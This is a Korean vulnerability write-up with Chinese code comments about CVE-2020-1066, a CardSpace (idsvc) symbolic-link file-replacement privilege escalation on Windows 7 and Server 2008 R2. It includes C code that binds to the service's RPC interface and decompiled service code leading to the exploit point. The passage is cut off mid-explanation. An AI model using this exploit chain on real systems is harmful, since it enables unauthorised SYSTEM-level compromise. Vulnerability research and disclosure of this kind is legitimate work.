
# CVE-2020-1066 로컬 권한 상승 익스플로잇 Windows 7 및 Server 2008 R2를 대상으로 하는 CVE-2020-1066 로컬 권한 상승 익스플로잇입니다. Windows CardSpace 서비스(idsvc)의 심볼릭 링크 남용을 통한 임의 파일 교체를 활용하여 SYSTEM 수준의 코드 실행을 달성합니다.
이 취약점은 Windows CardSpace 서비스가 심볼릭 링크 객체를 올바르게 처리하지 않아 발생하는 임의 파일 교체 로컬 권한 상승 취약점입니다.
저자의 poc는 연구 목적으로만 제공됩니다. 독자가 이 poc를 활용하여 다른 행위를 하는 경우 작성자와 무관합니다.
[toc]
Windows 7 및 Windows Server 2008 R2의 일반 사용자와 특수 구성을 활성화한 IIS 사용자에게 적용됩니다.
필자는 이 취약점의 제출자이며, 취약점은 2020년 5월에 업데이트되었습니다. 이 취약점은 Windows 7 및 Windows Server 2008 R2의 Windows CardSpace 서비스(줄여서 idsvc)에서 발생합니다. 이 서비스는 임의의 사용자가 시작할 수 있으며, 자체적으로 System 권한으로 실행되고 공개된 RPC 호출을 제공합니다. 서비스가 사용자 트리거에 의해 현재 사용자 환경 변수 %APPDATA% 디렉터리의 지정된 구성 파일을 이동할 때 심볼릭 링크 객체를 올바르게 처리하지 않아 임의 파일 교체를 통한 로컬 권한 상승이 발생합니다. 이것이 취약점의 원인입니다. RPC 호출을 이용하는 것이므로 먼저 서비스의 인터페이스 MIDL을 획득해야 로컬 코드를 작성하여 상호 작용할 수 있습니다. 필자는 RpcView 도구 사용을 권장하며, 구체적인 방법은 RPC 취약점 발굴 시리즈 문서를 참조할 수 있습니다. 먼저 다음과 같은 방법으로 심볼 파일을 획득하고 도구에서 심볼을 구성한 후, RPC 인터페이스 IDL 파일을 역컴파일할 수 있습니다. 구체적인 방법은 다음과 같습니다.``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

도구를 통해 그중 3가지 중요한 데이터, 즉 Rpc 프로토콜의 유형, 프로토콜 이름 및 프로토콜 인터페이스의 클라이언트 정의 파일(IDL 파일을 컴파일하여 생성된 .c 파일, 왼쪽의 Decompilation 텍스트 상자 참조)을 얻을 수 있습니다. 이렇게 하면 다음과 같은 방법으로 Rpc 서비스를 바인딩할 수 있습니다.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
idsvc 서비스 코드를 디컴파일하여 구체적인 프로젝트를 얻는다(관련 프로젝트 참조). idsvc 서비스는 전역 RPC 인터페이스의 전역 처리기인 RequestFactory.ProcessNewRequest에 바인딩되어 있으며, 최초 호출, 즉 parentRequestHandle이 0인 경우에는 CreateClientRequestInstance 클래스를 호출하여 콜백을 처리하고, 이후 작업은 CreateUIAgentRequestInstance 클래스가 처리한다.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
idsvc 서비스는 RpcRequest->Type 필드의 클래스 이름을 기반으로 해당 클래스를 리플렉션하여 콜백을 처리하며, 여기서 poc는 "ManageRequest" 클래스를 사용합니다;```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
ManageRequest 인스턴스의 DoProcessRequest 함수를 트리거하여 요청을 처리하며, 중간 단계를 생략한 후 마지막으로 StoreConnection.CreateDefaultDataSources()를 호출하여 익스플로잇 지점에 도달합니다.
서비스와 상호 작용하는 과정에서 서비스는 사용자를 가장(Impersonate Client)하고 사용자 프로필을 가져옵니다. 기본적으로 사용자 환경 변수 %APPDATA% 디렉터리에서 프로필을 지정합니다. IIS 사용자의 특수한 경우에는 기본적으로 프로필이 로드되지 않으므로 다음 구성을 활성화해야만 구현할 수 있습니다. 애플리케이션 풀 -> 고급 설정을 클릭합니다.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)